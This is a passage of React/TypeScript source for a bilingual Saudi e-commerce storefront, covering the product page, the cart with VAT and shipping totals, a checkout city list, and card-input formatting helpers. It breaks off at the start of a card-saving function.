)}
</div>
</div>
</div>
);
}
function ProductPage() {
const { t, lang } = useLang();
const [location, navigate] = useLocation();
const id = parseInt(location.split("/").pop() ?? "0") || 0;
const { data: p, isLoading } = useProduct(id);
const [qty, setQty] = useState(1);
const [selColor, setSelColor] = useState<string | null>(null);
const [selSize, setSelSize] = useState<string | null>(null);
const [imgLoaded, setImgLoaded] = useState(false);
const [addedToBag, setAddedToBag] = useState(false);
const { addItem } = useCart();
const showToast = useShowToast();
useEffect(() => {
if (p?.colors?.[0]) setSelColor(p.colors[0]);
}, [p]);
useEffect(() => {
if (p?.sizes?.[0]) setSelSize(p.sizes[0]);
}, [p]);
if (isLoading)
return (
<div className="max-w-screen-xl mx-auto px-4 py-12 flex justify-center">
<div className="w-10 h-10 border-2 border-orange-500/30 border-t-orange-500 rounded-full animate-spin" />
</div>
);
if (!p)
return (
<div className="text-center py-20 text-white/40">
{t("product_not_found")}
</div>
);
const discount = p.original_price
? Math.round((1 - parseFloat(p.price) / parseFloat(p.original_price)) * 100)
: 0;
const img = (Array.isArray(p.images) && p.images[0]) || "";
const displayName = lang === "en" && p.name_en ? p.name_en : p.name;
return (
<div className="max-w-screen-xl mx-auto px-3 sm:px-4 py-5 sm:py-8">
{/* Back + Breadcrumb */}
<div className="flex items-center gap-2 text-xs sm:text-sm text-white/40 mb-4 sm:mb-6 flex-wrap">
<button
onClick={() => window.history.back()}
className="flex items-center gap-1 text-white/50 hover:text-orange-400 transition-colors bg-white/5 hover:bg-orange-500/10 border border-white/10 hover:border-orange-500/30 rounded-xl px-3 py-1.5 shrink-0"
>
<svg
className="w-3.5 h-3.5"
fill="none"
stroke="currentColor"
viewBox="0 0 24 24"
>
<path
strokeLinecap="round"
strokeLinejoin="round"
strokeWidth={2}
d="M15 19l-7-7 7-7"
/>
</svg>
{t("back")}
</button>
<Link href="/" className="hover:text-orange-400">
{t("home")}
</Link>
<span></span>
<Link
href={`/category/${p.category_id}`}
className="hover:text-orange-400"
>
{t("category_link")}
</Link>
<span></span>
<span className="text-white/60 line-clamp-1">{displayName}</span>
</div>
<div className="grid grid-cols-1 md:grid-cols-2 gap-5 sm:gap-10">
{/* Image — white background like Extra store */}
<div className="bg-white rounded-2xl p-5 sm:p-8 flex items-center justify-center aspect-square relative overflow-hidden shadow-sm max-h-80 sm:max-h-none">
{discount > 0 && (
<div className="absolute top-4 right-4 bg-red-500 text-white font-bold text-sm px-3 py-1 rounded-lg z-10 shadow">
{t("save_percent")} {discount}%
</div>
)}
{img && (
<img
src={proxyImg(img)}
alt={p.name}
onLoad={() => setImgLoaded(true)}
className={`max-w-full max-h-full object-contain transition-opacity duration-500 ${imgLoaded ? "opacity-100" : "opacity-0"}`}
/>
)}
{!imgLoaded && img && (
<div className="absolute inset-0 flex items-center justify-center bg-white">
<div className="w-10 h-10 border-2 border-gray-200 border-t-orange-400 rounded-full animate-spin" />
</div>
)}
</div>
{/* Details */}
<div className="flex flex-col">
{p.brand && (
<span className="text-orange-400 font-bold text-sm tracking-wider mb-1">
{p.brand}
</span>
)}
<h1 className="text-2xl font-bold text-white mb-3 leading-snug">
{displayName}
</h1>
<StarRating rating={p.rating} count={p.review_count} />
{/* Price */}
<div className="mt-5 p-4 bg-[#111] border border-white/8 rounded-xl">
<div className="flex items-baseline gap-3">
<span className="text-3xl font-black text-orange-400">
{parseFloat(p.price).toLocaleString("ar-SA")} {t("currency")}
</span>
{p.original_price &&
parseFloat(p.original_price) > parseFloat(p.price) && (
<span className="text-white/35 text-lg line-through">
{parseFloat(p.original_price).toLocaleString("ar-SA")}
</span>
)}
{discount > 0 && (
<span className="bg-red-500/20 text-red-400 text-sm font-bold px-2 py-0.5 rounded">
{t("save_percent")} {discount}%
</span>
)}
</div>
{p.original_price &&
parseFloat(p.original_price) > parseFloat(p.price) && (
<p className="text-emerald-400 text-sm mt-1">
{t("saving")}{" "}
{(
parseFloat(p.original_price) - parseFloat(p.price)
).toLocaleString("ar-SA")}{" "}
{t("currency")}
</p>
)}
</div>
{/* Colors */}
{(p.colors?.length ?? 0) > 0 && (
<div className="mt-5">
<p className="text-sm text-white/60 mb-2">
{t("color_label")}{" "}
<span className="text-white font-medium">{selColor}</span>
</p>
<div className="flex flex-wrap gap-2">
{(p.colors ?? []).map((c) => (
<button
key={c}
onClick={() => setSelColor(c)}
className={`px-3 py-1.5 rounded-lg text-xs border transition-all ${
selColor === c
? "border-orange-500 bg-orange-500/15 text-orange-400"
: "border-white/15 text-white/60 hover:border-white/30"
}`}
>
{c}
</button>
))}
</div>
</div>
)}
{/* Sizes */}
{(p.sizes?.length ?? 0) > 0 && (
<div className="mt-4">
<p className="text-sm text-white/60 mb-2">
{t("size_label")}{" "}
<span className="text-white font-medium">{selSize}</span>
</p>
<div className="flex flex-wrap gap-2">
{(p.sizes ?? []).map((s) => (
<button
key={s}
onClick={() => setSelSize(s)}
className={`px-3 py-1.5 rounded-lg text-xs border transition-all ${
selSize === s
? "border-orange-500 bg-orange-500/15 text-orange-400"
: "border-white/15 text-white/60 hover:border-white/30"
}`}
>
{s}
</button>
))}
</div>
</div>
)}
{/* Qty */}
<div className="mt-5 flex items-center gap-3">
<span className="text-sm text-white/60">{t("qty_label")}</span>
<div className="flex items-center bg-[#111] border border-white/12 rounded-xl overflow-hidden">
<button
onClick={() => setQty((q) => Math.max(1, q - 1))}
className="px-4 py-2 text-white/60 hover:text-white hover:bg-white/8 transition-colors text-lg"
>
-
</button>
<span className="px-4 py-2 text-white font-bold min-w-[3rem] text-center">
{qty}
</span>
<button
onClick={() => setQty((q) => Math.min(p.stock ?? 99, q + 1))}
className="px-4 py-2 text-white/60 hover:text-white hover:bg-white/8 transition-colors text-lg"
>
+
</button>
</div>
{(p.stock ?? 0) > 0 && (
<span className="text-xs text-white/35">
{p.stock} {t("available")}
</span>
)}
</div>
{/* CTA */}
<div className="mt-6 flex gap-3">
<button
onClick={() => {
if (!p) return;
addItem(p, qty, selColor, selSize);
showToast(t("added_toast"));
setAddedToBag(true);
setTimeout(() => setAddedToBag(false), 2500);
}}
className={`flex-1 font-bold py-3.5 rounded-xl transition-all text-base flex items-center justify-center gap-2 ${
addedToBag
? "bg-emerald-500 text-white"
: "bg-orange-500 hover:bg-orange-600 text-white"
}`}
>
{addedToBag ? t("added_to_cart") : t("add_to_cart")}
</button>
<button
onClick={() => {
if (p) {
addItem(p, qty, selColor, selSize);
navigate("/cart");
}
}}
className="px-5 py-3.5 bg-white/8 hover:bg-white/15 border border-white/15 text-white font-bold rounded-xl transition-all text-sm whitespace-nowrap"
>
{t("buy_now")}
</button>
<button className="w-14 h-14 border border-white/15 hover:border-red-400/40 hover:bg-red-400/10 rounded-xl transition-all flex items-center justify-center text-xl">
</button>
</div>
{/* Badges */}
<div className="mt-5 grid grid-cols-3 gap-2">
{(
[
["🚚", t("badge_fast")],
["🛡️", t("badge_auth")],
["↩️", t("badge_return")],
] as [string, string][]
).map(([icon, label]) => (
<div
key={label}
className="flex flex-col items-center gap-1 bg-white/4 rounded-xl p-3 text-center"
>
<span className="text-xl">{icon}</span>
<span className="text-xs text-white/50">{label}</span>
</div>
))}
</div>
</div>
</div>
{/* Marketing Points */}
{(p.marketing_points?.length ?? 0) > 0 && (
<div className="mt-10 bg-[#0d0d0d] border border-white/8 rounded-2xl p-6">
<h2 className="text-lg font-bold text-white mb-4">
{t("product_features")}
</h2>
<ul className="grid grid-cols-1 sm:grid-cols-2 gap-3">
{(p.marketing_points ?? []).map((pt, i) => (
<li
key={i}
className="flex items-start gap-2.5 text-sm text-white/70"
>
<span className="text-orange-500 mt-0.5 shrink-0"></span>
{pt}
</li>
))}
</ul>
</div>
)}
{/* Specs */}
{p.specs && Object.keys(p.specs).length > 0 && (
<div className="mt-6 bg-[#0d0d0d] border border-white/8 rounded-2xl overflow-hidden">
<h2 className="text-lg font-bold text-white p-6 pb-4">
{t("tech_specs")}
</h2>
<table className="w-full text-sm">
<tbody>
{Object.entries(p.specs).map(([key, val], i) => (
<tr key={key} className={i % 2 === 0 ? "bg-white/2" : ""}>
<td className="px-6 py-3 text-white/50 font-medium w-2/5">
{key}
</td>
<td className="px-6 py-3 text-white/85">{String(val)}</td>
</tr>
))}
</tbody>
</table>
</div>
)}
</div>
);
}
// ─── Cart Page ───────────────────────────────────────
function CartPage() {
const { t, lang } = useLang();
const { data: storeSettings } = useStoreSettings();
const { items, removeItem, updateQty, clearCart, subtotal } = useCart();
const [, navigate] = useLocation();
const { user, openAuth } = useAuth();
const VAT_RATE = 0.15;
const freeShipRiyadh = parseFloat(
storeSettings?.cart_free_shipping_riyadh || "299",
);
const feeRiyadh = parseFloat(storeSettings?.cart_delivery_fee_riyadh || "19");
const SHIPPING = subtotal >= freeShipRiyadh ? 0 : feeRiyadh;
const vat = subtotal * VAT_RATE;
const total = subtotal + vat + SHIPPING;
const cartPageTitle = storeCopy(
storeSettings,
lang,
"cart_page_title",
t("cart_title"),
);
const cartPageSubtitle = storeCopy(
storeSettings,
lang,
"cart_page_subtitle",
`${items.reduce((s, i) => s + i.quantity, 0)} ${t("products_count")}`,
);
const cartCheckoutLabel = storeCopy(
storeSettings,
lang,
"cart_checkout_button",
t("cart_checkout"),
);
const cartSecureLabel = storeCopy(
storeSettings,
lang,
"cart_secure_label",
t("cart_secure"),
);
const cartCheckoutNote = storeCopy(
storeSettings,
lang,
"cart_checkout_note",
"",
);
const activePaymentMethods = [
storeSettings?.cart_payment_visa !== "false" ? "Visa / Mastercard" : null,
storeSettings?.cart_payment_mada !== "false"
? lang === "en"
? "mada"
: "مدى"
: null,
storeSettings?.cart_payment_applepay !== "false" ? "Apple Pay" : null,
storeSettings?.cart_payment_stcpay !== "false" ? "STC Pay" : null,
].filter(Boolean) as string[];
if (items.length === 0) {
return (
<div className="max-w-screen-xl mx-auto px-4 py-8 text-center">
<div className="flex mb-8">
<button
onClick={() => window.history.back()}
className="flex items-center gap-1.5 text-white/50 hover:text-orange-400 transition-colors bg-white/5 hover:bg-orange-500/10 border border-white/10 hover:border-orange-500/30 rounded-xl px-3 py-1.5 text-sm"
>
<svg
className="w-4 h-4"
fill="none"
stroke="currentColor"
viewBox="0 0 24 24"
>
<path
strokeLinecap="round"
strokeLinejoin="round"
strokeWidth={2}
d="M15 19l-7-7 7-7"
/>
</svg>
{t("back")}
</button>
</div>
<div className="inline-flex items-center justify-center w-24 h-24 rounded-full bg-white/4 border border-white/10 mb-8">
<svg
className="w-12 h-12 text-white/25"
fill="none"
stroke="currentColor"
viewBox="0 0 24 24"
>
<path
strokeLinecap="round"
strokeLinejoin="round"
strokeWidth={1.5}
d="M16 11V7a4 4 0 00-8 0v4M5 9h14l1 12H4L5 9z"
/>
</svg>
</div>
<h1 className="text-2xl font-black text-white mb-2">
{t("cart_empty_title")}
</h1>
<p className="text-white/40 mb-8">{t("cart_empty_sub")}</p>
<Link
href="/category/0"
className="bg-orange-500 hover:bg-orange-600 text-white font-bold px-8 py-3 rounded-xl transition-colors inline-block"
>
{t("cart_shop_now")}
</Link>
</div>
);
}
return (
<div className="max-w-screen-xl mx-auto px-4 py-8">
{storeSettings?.cart_banner_enabled !== "false" && (
<div
className="mb-6 rounded-2xl border border-white/10 px-4 py-3 text-sm font-medium"
style={{
backgroundColor: storeSettings?.cart_banner_color || "#1f2937",
color: storeSettings?.cart_banner_text_color || "#ffffff",
}}
>
{storeSettings?.cart_banner_text || ""}
</div>
)}
{/* Back button */}
<button
onClick={() => window.history.back()}
className="flex items-center gap-1.5 text-white/50 hover:text-orange-400 transition-colors bg-white/5 hover:bg-orange-500/10 border border-white/10 hover:border-orange-500/30 rounded-xl px-3 py-1.5 text-sm mb-6"
>
<svg
className="w-4 h-4"
fill="none"
stroke="currentColor"
viewBox="0 0 24 24"
>
<path
strokeLinecap="round"
strokeLinejoin="round"
strokeWidth={2}
d="M15 19l-7-7 7-7"
/>
</svg>
{t("back")}
</button>
{/* Header */}
<div className="flex items-center justify-between mb-8">
<div>
<h1 className="text-2xl font-black text-white">{cartPageTitle}</h1>
<p className="text-white/40 text-sm mt-1">{cartPageSubtitle}</p>
</div>
<button
onClick={clearCart}
className="text-sm text-white/35 hover:text-red-400 transition-colors flex items-center gap-1.5"
>
<svg
className="w-4 h-4"
fill="none"
stroke="currentColor"
viewBox="0 0 24 24"
>
<path
strokeLinecap="round"
strokeLinejoin="round"
strokeWidth={2}
d="M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"
/>
</svg>
{t("cart_clear")}
</button>
</div>
<div className="grid grid-cols-1 lg:grid-cols-3 gap-8">
{/* Items List */}
<div className="lg:col-span-2 space-y-4">
{items.map((item) => {
const itemKey = `${item.product.id}|${item.color}|${item.size}`;
const img = item.product.images[0] || "";
const itemTotal = parseFloat(item.product.price) * item.quantity;
return (
<div
key={itemKey}
className="bg-[#111] border border-white/8 rounded-2xl p-3 sm:p-5 flex gap-3 sm:gap-5 hover:border-white/15 transition-colors"
>
{/* Image */}
<Link href={`/product/${item.product.id}`} className="shrink-0">
<div className="w-20 h-20 sm:w-24 sm:h-24 bg-white rounded-xl overflow-hidden flex items-center justify-center">
{img ? (
<img
src={proxyImg(img)}
alt={item.product.name}
className="w-full h-full object-contain p-2"
/>
) : (
<div className="text-gray-300 text-2xl">📦</div>
)}
</div>
</Link>
{/* Details */}
<div className="flex-1 min-w-0">
<div className="flex justify-between items-start gap-3">
<div className="min-w-0">
{item.product.brand && (
<span className="text-orange-400 text-xs font-bold uppercase tracking-wider">
{item.product.brand}
</span>
)}
<Link href={`/product/${item.product.id}`}>
<h3 className="text-sm font-medium text-white/90 leading-snug mt-0.5 hover:text-orange-400 transition-colors line-clamp-2">
{lang === "en" && item.product.name_en
? item.product.name_en
: item.product.name}
</h3>
</Link>
{(item.color || item.size) && (
<div className="flex gap-3 mt-1.5">
{item.color && (
<span className="text-xs text-white/40 bg-white/6 px-2 py-0.5 rounded-md">
{item.color}
</span>
)}
{item.size && (
<span className="text-xs text-white/40 bg-white/6 px-2 py-0.5 rounded-md">
{item.size}
</span>
)}
</div>
)}
</div>
<button
onClick={() =>
removeItem(item.product.id, item.color, item.size)
}
className="shrink-0 flex items-center gap-1.5 px-2.5 py-1.5 rounded-lg text-white/30 hover:text-red-400 hover:bg-red-400/10 border border-transparent hover:border-red-400/20 transition-all text-xs font-medium"
>
<svg
className="w-3.5 h-3.5"
fill="none"
stroke="currentColor"
viewBox="0 0 24 24"
>
<path
strokeLinecap="round"
strokeLinejoin="round"
strokeWidth={2}
d="M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"
/>
</svg>
{t("cart_delete")}
</button>
</div>
<div className="flex items-center justify-between mt-4">
{/* Qty Controls */}
<div className="flex items-center bg-[#0a0a0a] border border-white/10 rounded-xl overflow-hidden">
<button
onClick={() =>
updateQty(
item.product.id,
item.color,
item.size,
item.quantity - 1,
)
}
className="w-9 h-9 flex items-center justify-center text-white/50 hover:text-white hover:bg-white/8 transition-colors text-lg font-bold"
>
</button>
<span className="w-10 text-center text-white text-sm font-bold">
{item.quantity}
</span>
<button
onClick={() =>
updateQty(
item.product.id,
item.color,
item.size,
Math.min(item.quantity + 1, item.product.stock),
)
}
className="w-9 h-9 flex items-center justify-center text-white/50 hover:text-white hover:bg-white/8 transition-colors text-lg font-bold"
>
+
</button>
</div>
{/* Price */}
<div className="text-left">
<div className="text-orange-400 font-black text-base">
{itemTotal.toLocaleString("ar-SA")} {t("currency")}
</div>
{item.quantity > 1 && (
<div className="text-white/30 text-xs">
{parseFloat(item.product.price).toLocaleString(
"ar-SA",
)}{" "}
× {item.quantity}
</div>
)}
</div>
</div>
</div>
</div>
);
})}
{/* Continue Shopping */}
<Link
href="/category/0"
className="flex items-center gap-2 text-sm text-white/40 hover:text-orange-400 transition-colors mt-2 group"
>
<svg
className="w-4 h-4 group-hover:-translate-x-1 transition-transform"
fill="none"
stroke="currentColor"
viewBox="0 0 24 24"
>
<path
strokeLinecap="round"
strokeLinejoin="round"
strokeWidth={2}
d="M9 5l7 7-7 7"
/>
</svg>
{t("cart_continue")}
</Link>
</div>
{/* Order Summary */}
<div className="lg:col-span-1">
<div className="bg-[#111] border border-white/8 rounded-2xl p-6 sticky top-24">
<h2 className="text-lg font-black text-white mb-6 pb-4 border-b border-white/8">
{t("cart_summary")}
</h2>
<div className="space-y-3.5 text-sm">
<div className="flex justify-between text-white/60">
<span>{t("cart_subtotal")}</span>
<span className="text-white font-medium">
{subtotal.toLocaleString("ar-SA")} {t("currency")}
</span>
</div>
<div className="flex justify-between text-white/60">
<span>{t("cart_shipping")}</span>
{SHIPPING === 0 ? (
<span className="text-emerald-400 font-medium">
{t("cart_shipping_free")}
</span>
) : (
<span className="text-white font-medium">
{SHIPPING.toLocaleString("ar-SA")} {t("currency")}
</span>
)}
</div>
<div className="flex justify-between text-white/60">
<span>{t("cart_vat")}</span>
<span className="text-white font-medium">
{vat.toFixed(2)} {t("currency")}
</span>
</div>
{SHIPPING > 0 && (
<div className="text-xs text-orange-400/70 bg-orange-500/8 rounded-lg p-2.5">
{t("cart_add_for_free")}{" "}
{Math.max(0, freeShipRiyadh - subtotal).toLocaleString(
"ar-SA",
)}{" "}
{t("cart_for_free_ship")}
</div>
)}
<div className="pt-4 border-t border-white/10 flex justify-between items-baseline">
<span className="text-white font-bold">{t("cart_total")}</span>
<div className="text-left">
<div className="text-2xl font-black text-orange-400">
{total.toFixed(2)} {t("currency")}
</div>
<div className="text-xs text-white/30 text-right">
{t("cart_total_incl")}
</div>
</div>
</div>
</div>
{/* Checkout Button */}
{user ? (
<button
onClick={() => navigate("/checkout")}
className="w-full mt-6 bg-orange-500 hover:bg-orange-600 text-white font-black py-4 rounded-xl transition-colors text-base shadow-lg shadow-orange-500/20 flex items-center justify-center gap-2"
>
<svg
className="w-5 h-5"
fill="none"
stroke="currentColor"
viewBox="0 0 24 24"
>
<path
strokeLinecap="round"
strokeLinejoin="round"
strokeWidth={2}
d="M12 15v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2zm10-10V7a4 4 0 00-8 0v4h8z"
/>
</svg>
{cartCheckoutLabel}
</button>
) : (
<div className="mt-6 space-y-3">
<div className="bg-orange-500/8 border border-orange-500/25 rounded-xl p-3.5 flex items-start gap-3">
<svg
className="w-5 h-5 text-orange-400 shrink-0 mt-0.5"
fill="none"
stroke="currentColor"
viewBox="0 0 24 24"
>
<path
strokeLinecap="round"
strokeLinejoin="round"
strokeWidth={2}
d="M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"
/>
</svg>
<p className="text-sm text-white/70 leading-relaxed">
{t("cart_login_required")}
</p>
</div>
<button
onClick={() => openAuth("login")}
className="w-full bg-orange-500 hover:bg-orange-600 text-white font-black py-4 rounded-xl transition-colors text-base shadow-lg shadow-orange-500/20 flex items-center justify-center gap-2"
>
<svg
className="w-5 h-5"
fill="none"
stroke="currentColor"
viewBox="0 0 24 24"
>
<path
strokeLinecap="round"
strokeLinejoin="round"
strokeWidth={2}
d="M16 7a4 4 0 11-8 0 4 4 0 018 0zM12 14a7 7 0 00-7 7h14a7 7 0 00-7-7z"
/>
</svg>
{t("cart_login_btn")}
</button>
<button
onClick={() => openAuth("register")}
className="w-full bg-white/6 hover:bg-white/10 border border-white/12 hover:border-orange-500/40 text-white/80 font-bold py-3 rounded-xl transition-colors text-sm flex items-center justify-center gap-2"
>
{t("cart_register_btn")}
</button>
</div>
)}
{/* Secure Badge */}
<div className="mt-4 flex items-center justify-center gap-2 text-xs text-white/30">
<svg
className="w-3.5 h-3.5"
fill="none"
stroke="currentColor"
viewBox="0 0 24 24"
>
<path
strokeLinecap="round"
strokeLinejoin="round"
strokeWidth={2}
d="M12 15v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2zm10-10V7a4 4 0 00-8 0v4h8z"
/>
</svg>
{cartSecureLabel}
</div>
{/* Payment methods */}
<div className="mt-4 flex justify-center gap-2 flex-wrap">
{activePaymentMethods.map((m) => (
<div
key={m}
className="bg-white/6 border border-white/10 rounded-lg px-2 py-1 text-[9px] text-white/40 font-medium"
>
{m}
</div>
))}
</div>
{cartCheckoutNote && (
<p className="mt-3 text-center text-xs text-white/35 leading-relaxed">
{cartCheckoutNote}
</p>
)}
</div>
</div>
</div>
</div>
);
}
// ─── Checkout Page ───────────────────────────────────
const CHECKOUT_CITIES: { value: string; label: string; label_en: string }[] = [
// Riyadh Region
{
value: "الرياض",
label: "الرياض — توصيل 3 أيام عمل",
label_en: "Riyadh — 3 business days",
},
{
value: "الخرج",
label: "الخرج — توصيل 5 أيام عمل",
label_en: "Al Kharj — 5 business days",
},
{
value: "المجمعة",
label: "المجمعة — توصيل 5 أيام عمل",
label_en: "Majmaah — 5 business days",
},
{
value: "الزلفي",
label: "الزلفي — توصيل 5 أيام عمل",
label_en: "Zulfi — 5 business days",
},
{
value: "القويعية",
label: "القويعية — توصيل 5 أيام عمل",
label_en: "Al Quwaiyah — 5 business days",
},
{
value: "الأفلاج",
label: "الأفلاج — توصيل 7 أيام عمل",
label_en: "Al Aflaj — 7 business days",
},
{
value: "وادي الدواسر",
label: "وادي الدواسر — توصيل 7 أيام عمل",
label_en: "Wadi Ad-Dawasir — 7 business days",
},
{
value: "عفيف",
label: "عفيف — توصيل 7 أيام عمل",
label_en: "Afif — 7 business days",
},
{
value: "الدوادمي",
label: "الدوادمي — توصيل 7 أيام عمل",
label_en: "Ad Dawadimi — 7 business days",
},
{
value: "شقراء",
label: "شقراء — توصيل 7 أيام عمل",
label_en: "Shaqra — 7 business days",
},
{
value: "ضرما",
label: "ضرما — توصيل 5 أيام عمل",
label_en: "Dirma — 5 business days",
},
{
value: "المزاحمية",
label: "المزاحمية — توصيل 5 أيام عمل",
label_en: "Al Muzahimiyah — 5 business days",
},
{
value: "الحريق",
label: "الحريق — توصيل 7 أيام عمل",
label_en: "Al Hariq — 7 business days",
},
{
value: "السليل",
label: "السليل — توصيل 7 أيام عمل",
label_en: "As Sulayyil — 7 business days",
},
{
value: "ثادق",
label: "ثادق — توصيل 7 أيام عمل",
label_en: "Thadiq — 7 business days",
},
{
value: "رماح",
label: "رماح — توصيل 7 أيام عمل",
label_en: "Rumah — 7 business days",
},
// Makkah Region
{
value: "مكة المكرمة",
label: "مكة المكرمة — توصيل 5 أيام عمل",
label_en: "Makkah — 5 business days",
},
{
value: "جدة",
label: "جدة — توصيل 5 أيام عمل",
label_en: "Jeddah — 5 business days",
},
{
value: "الطائف",
label: "الطائف — توصيل 5 أيام عمل",
label_en: "Taif — 5 business days",
},
{
value: "رابغ",
label: "رابغ — توصيل 7 أيام عمل",
label_en: "Rabigh — 7 business days",
},
{
value: "القنفذة",
label: "القنفذة — توصيل 7 أيام عمل",
label_en: "Al Qunfudhah — 7 business days",
},
{
value: "الليث",
label: "الليث — توصيل 7 أيام عمل",
label_en: "Al Lith — 7 business days",
},
{
value: "خليص",
label: "خليص — توصيل 7 أيام عمل",
label_en: "Khulays — 7 business days",
},
{
value: "الجموم",
label: "الجموم — توصيل 7 أيام عمل",
label_en: "Al Jumum — 7 business days",
},
// Madinah Region
{
value: "المدينة المنورة",
label: "المدينة المنورة — توصيل 5 أيام عمل",
label_en: "Madinah — 5 business days",
},
{
value: "ينبع",
label: "ينبع — توصيل 5 أيام عمل",
label_en: "Yanbu — 5 business days",
},
{
value: "العلا",
label: "العلا — توصيل 7 أيام عمل",
label_en: "Al Ula — 7 business days",
},
{
value: "المهد",
label: "المهد — توصيل 7 أيام عمل",
label_en: "Al Mahd — 7 business days",
},
{
value: "بدر",
label: "بدر — توصيل 7 أيام عمل",
label_en: "Badr — 7 business days",
},
{
value: "خيبر",
label: "خيبر — توصيل 7 أيام عمل",
label_en: "Khaybar — 7 business days",
},
// Qassim Region
{
value: "بريدة",
label: "بريدة — توصيل 5 أيام عمل",
label_en: "Buraydah — 5 business days",
},
{
value: "عنيزة",
label: "عنيزة — توصيل 5 أيام عمل",
label_en: "Unaizah — 5 business days",
},
{
value: "الرس",
label: "الرس — توصيل 7 أيام عمل",
label_en: "Ar Rass — 7 business days",
},
{
value: "المذنب",
label: "المذنب — توصيل 7 أيام عمل",
label_en: "Al Mithnab — 7 business days",
},
{
value: "البكيرية",
label: "البكيرية — توصيل 7 أيام عمل",
label_en: "Al Bukayriyah — 7 business days",
},
{
value: "البدائع",
label: "البدائع — توصيل 7 أيام عمل",
label_en: "Al Badaie — 7 business days",
},
// Eastern Region
{
value: "الدمام",
label: "الدمام — توصيل 5 أيام عمل",
label_en: "Dammam — 5 business days",
},
{
value: "الخبر",
label: "الخبر — توصيل 5 أيام عمل",
label_en: "Khobar — 5 business days",
},
{
value: "الأحساء",
label: "الأحساء — توصيل 5 أيام عمل",
label_en: "Al Ahsa — 5 business days",
},
{
value: "الظهران",
label: "الظهران — توصيل 5 أيام عمل",
label_en: "Dhahran — 5 business days",
},
{
value: "الجبيل",
label: "الجبيل — توصيل 5 أيام عمل",
label_en: "Jubail — 5 business days",
},
{
value: "القطيف",
label: "القطيف — توصيل 5 أيام عمل",
label_en: "Qatif — 5 business days",
},
{
value: "حفر الباطن",
label: "حفر الباطن — توصيل 7 أيام عمل",
label_en: "Hafar Al-Batin — 7 business days",
},
{
value: "الخفجي",
label: "الخفجي — توصيل 7 أيام عمل",
label_en: "Khafji — 7 business days",
},
{
value: "رأس تنورة",
label: "رأس تنورة — توصيل 7 أيام عمل",
label_en: "Ras Tanura — 7 business days",
},
// Asir Region
{
value: "أبها",
label: "أبها — توصيل 5 أيام عمل",
label_en: "Abha — 5 business days",
},
{
value: "خميس مشيط",
label: "خميس مشيط — توصيل 5 أيام عمل",
label_en: "Khamis Mushait — 5 business days",
},
{
value: "بيشة",
label: "بيشة — توصيل 7 أيام عمل",
label_en: "Bisha — 7 business days",
},
{
value: "محايل عسير",
label: "محايل عسير — توصيل 7 أيام عمل",
label_en: "Muhayil Asir — 7 business days",
},
{
value: "النماص",
label: "النماص — توصيل 7 أيام عمل",
label_en: "An Namas — 7 business days",
},
{
value: "بلقرن",
label: "بلقرن — توصيل 7 أيام عمل",
label_en: "Balqarn — 7 business days",
},
// Tabuk Region
{
value: "تبوك",
label: "تبوك — توصيل 5 أيام عمل",
label_en: "Tabuk — 5 business days",
},
{
value: "ضباء",
label: "ضباء — توصيل 7 أيام عمل",
label_en: "Duba — 7 business days",
},
{
value: "أملج",
label: "أملج — توصيل 7 أيام عمل",
label_en: "Umluj — 7 business days",
},
{
value: "الوجه",
label: "الوجه — توصيل 7 أيام عمل",
label_en: "Al Wajh — 7 business days",
},
{
value: "تيماء",
label: "تيماء — توصيل 7 أيام عمل",
label_en: "Tayma — 7 business days",
},
// Hail Region
{
value: "حائل",
label: "حائل — توصيل 5 أيام عمل",
label_en: "Hail — 5 business days",
},
{
value: "بقعاء",
label: "بقعاء — توصيل 7 أيام عمل",
label_en: "Buqayah — 7 business days",
},
{
value: "الغزالة",
label: "الغزالة — توصيل 7 أيام عمل",
label_en: "Al Ghazalah — 7 business days",
},
// Al Jawf Region
{
value: "سكاكا",
label: "سكاكا — توصيل 7 أيام عمل",
label_en: "Sakaka — 7 business days",
},
{
value: "القريات",
label: "القريات — توصيل 7 أيام عمل",
label_en: "Al Qurayyat — 7 business days",
},
{
value: "دومة الجندل",
label: "دومة الجندل — توصيل 7 أيام عمل",
label_en: "Dawmat Al Jandal — 7 business days",
},
// Northern Borders Region
{
value: "عرعر",
label: "عرعر — توصيل 7 أيام عمل",
label_en: "Arar — 7 business days",
},
{
value: "رفحاء",
label: "رفحاء — توصيل 7 أيام عمل",
label_en: "Rafha — 7 business days",
},
{
value: "طريف",
label: "طريف — توصيل 7 أيام عمل",
label_en: "Turaif — 7 business days",
},
// Jizan Region
{
value: "جازان",
label: "جازان — توصيل 5 أيام عمل",
label_en: "Jizan — 5 business days",
},
{
value: "أبو عريش",
label: "أبو عريش — توصيل 7 أيام عمل",
label_en: "Abu Arish — 7 business days",
},
{
value: "صبيا",
label: "صبيا — توصيل 7 أيام عمل",
label_en: "Sabya — 7 business days",
},
{
value: "الدرب",
label: "الدرب — توصيل 7 أيام عمل",
label_en: "Ad Darb — 7 business days",
},
{
value: "فرسان",
label: "فرسان — توصيل 7 أيام عمل",
label_en: "Farasan — 7 business days",
},
// Najran Region
{
value: "نجران",
label: "نجران — توصيل 7 أيام عمل",
label_en: "Najran — 7 business days",
},
{
value: "شرورة",
label: "شرورة — توصيل 7 أيام عمل",
label_en: "Sharurah — 7 business days",
},
{
value: "حبونا",
label: "حبونا — توصيل 7 أيام عمل",
label_en: "Hubuna — 7 business days",
},
// Al Bahah Region
{
value: "الباحة",
label: "الباحة — توصيل 7 أيام عمل",
label_en: "Al Bahah — 7 business days",
},
{
value: "بلجرشي",
label: "بلجرشي — توصيل 7 أيام عمل",
label_en: "Baljurashi — 7 business days",
},
{
value: "المخواة",
label: "المخواة — توصيل 7 أيام عمل",
label_en: "Al Mikhwa — 7 business days",
},
];
function formatCardNumberCO(val: string) {
const digits = val.replace(/\D/g, "").substring(0, 16);
return digits.replace(/(.{4})/g, "$1 ").trim();
}
function formatExpiryCO(v: string): string {
const d = v.replace(/\D/g, "").slice(0, 4);
return d.length > 2 ? d.slice(0, 2) + "/" + d.slice(2) : d;
}
async function saveCardToApi(
apiBase: string,
